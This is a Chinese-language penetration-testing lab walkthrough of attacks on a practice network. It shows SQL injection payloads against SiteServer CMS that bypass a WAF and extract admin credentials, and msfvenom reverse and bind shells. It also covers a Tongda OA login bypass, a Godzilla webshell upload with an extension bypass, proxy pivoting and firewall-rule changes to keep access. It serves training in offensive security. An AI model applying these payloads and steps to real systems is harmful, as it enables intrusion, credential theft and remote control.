前言
这个靶场因为环境问题,导致我没拿到域控。笑死,就算把防火墙等等防护软件都关了。ping都ping不通dc,也就不了了之。靶机下载,密码:3p47。暗月师傅亲自讲解视频。
网络拓扑图

信息搜集
web服务器扫到如下端口
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 10.0
999/tcp open http Microsoft IIS httpd 10.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6588/tcp open http Microsoft IIS httpd 10.0
打开http://www.moonlab.com/,后发现是空白页面。而对方使用了安全狗,所以目录扫描时速度不能太快,不然会被封。
这里使用dirble,dirble.exe -u http://www.moonlab.com/ -w "ASPX.TXT" -z 1 --code-whitelist 200

查看http://www.moonlab.com/robots.txt,存在SiteServer

访问SiteServer,cms版本为3.6.4,官网现在都是v7版本了,这套版本非常古老了

getshell
3.6.4有非常多的漏洞,比如 http://www.moonlab.com/UserCenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20@@version=2;%20–,存在sql注入。

参考mssql注入bypass安全狗这篇文章后,轻松绕过安全狗。
获取当前数据库名test') and db_name()=~1; --,得到msmoonlab

有个小技巧,获取其他数据库名只需要改为db_name(数字),比如获取第一个数据库名test') and db_name(1)=~1; --,一直这样遍历下去就可以获取所有数据库

SiteServer CMS的表结构说明,有了表结构,直接查管理员用户名和密码
用户名:admin
payload test') and ~1=(select top 1 UserName from [bairong_Administrator]); --

密码:64Cic1ERUP9n2OzxuKl9Tw==
payload test') and ~1=(select top 1 Password from [bairong_Administrator]); --

密钥:LIywB/zHFDTuEA1LU53Opg==
payload test') and ~1=(select top 1 PasswordSalt from [bairong_Administrator]); --

这还要解密,于是另辟蹊径,参考此文章siteserver cms获取管理员密码。成功复现。

进入后台来到功能管理->站点文件管理,点击web文件夹

点击T_xxx.aspx,发现可以编辑内容

msf生成aspx马,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=4444 -f aspx -o shell.aspx。
将木马内容复制过去后保存

msf启动监听器
msf5 > handler -H 192.168.0.128 -P 4444 -p windows/meterpreter/reverse_tcp
成功上线

代理与路由转发
使用run post/multi/manage/autoroute,开启路由转发功能

使用run arp_scanner -r 10.10.1.0/24,竟然连web的机器都漏扫了

msf的主机发现功能属实拉了,还得看cs的主机发现

在beacon上输入socks 7169,开启socks4代理

回到kali,vi /etc/proxychains4.conf,配置socks4代理

使用proxychains nmap -Pn -sT -p80,22,135,445,155,3389,3306 10.10.1.130 --open,就能用nmap扫描端口了,这也算个扩展内容吧。

火狐设置好代理,端口号和下面的socks协议一定不要错


通达OA漏洞
通达OA有个任意用户登录漏洞
先来到火狐代理配置,要让http的流量给burp,所以http处也要配置与burp监听端口一致。

点击登录后抓包,需修改以下三个地方: /logincheck.php改成/logincheck_code.php,删除cookie在post包中添加UID=1

再点击Forward放包后,会来到此界面

直接访问http://10.10.1.130/general/index.php进后台

先用哥斯拉生成php webshell马子

密码和密钥和加密器都可以自定义

然后来到系统管理->附件管理->添加存储目录,并且勾选将所有新附件存至该目录。

选择 组织->管理员->附件上传

上传刚刚哥斯拉生成的木马,在后缀名后要加个.来绕过限制。得到id255@2110_1936760311和name2.php.*

木马的路径为http://10.10.1.130/im/2110/1936760311.2.php
现在要用哥斯拉连接木马,而哥斯拉的代理只支持socks5和http代理,所以还要配置socks5代理。
来到msf使用use auxiliary/server/socks_proxy,我使用的msf6版本,各个版本配置不一样

哥斯拉点击目标-添加
我将哥斯拉安装到win10。所以这里的代理主机是kali的ip。代理类型选择SOCKS,而密码和密钥还有加密器要和前面生成的保持一致。

成功连上后,执行命令是system权限,发现有360。

如果终端出现乱码,换个其他的编码即可

使用netsh advfirewall show allprofiles查看防火墙状态,开启了防火墙

来到msf上面的web session上,先输入chcp 65001,解决终端乱码问题。查看web机上防火墙的状态,也是开启了防火墙。

像这种双方都开启防火墙的情况下,如果不做任何处理,正向和反向连接都不能上线。这里我准备正向连接上线。
先到oa上输入netsh advfirewall firewall add rule name="web3" protocol=TCP dir=in localport=7879 action=allow,意思是添加一个入站名叫web3,允许tcp端口7879入站。
这里我执行后,出现了这种情况

回到OA虚拟机上执行命令试试,正确执行

netsh firewall show config查看防火墙配置,再次验证前面的命令是正确的。

这个查了查没找到啥原因,那这样的话,有以下解决办法
1.在web机上设置防火墙策略,允许xxx端口进站,oa反向连接上线
2.使用 netsh advfirewall set allprofiles state off 关闭防火墙,oa正向连接上线
3.添加防火墙放行程序
我现在要正向连接上线,选择动静最小的第3点。
生成正向连接木马msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe -o 1.exe并做好免杀
我将木马上传到了c:\1.exe

把c:\1.exe添加进防火墙放行程序netsh firewall set allowedprogram C:\1.exe A ENABLE,查看防火墙放行程序netsh firewall show allowedprogram

msf正向监听
msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 10.10.1.130
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run
执行上线

到这里打靶结束,没拿域控的原因看前言吧。。。。。。。
感谢文章和工具
dirble
mssql注入bypass安全狗
SiteServer CMS的表结构说明
通达OA前台任意用户登录漏洞+RCE漏洞复现
通达OA后台getshell
Godzilla
windows 下查看防火墙状态命令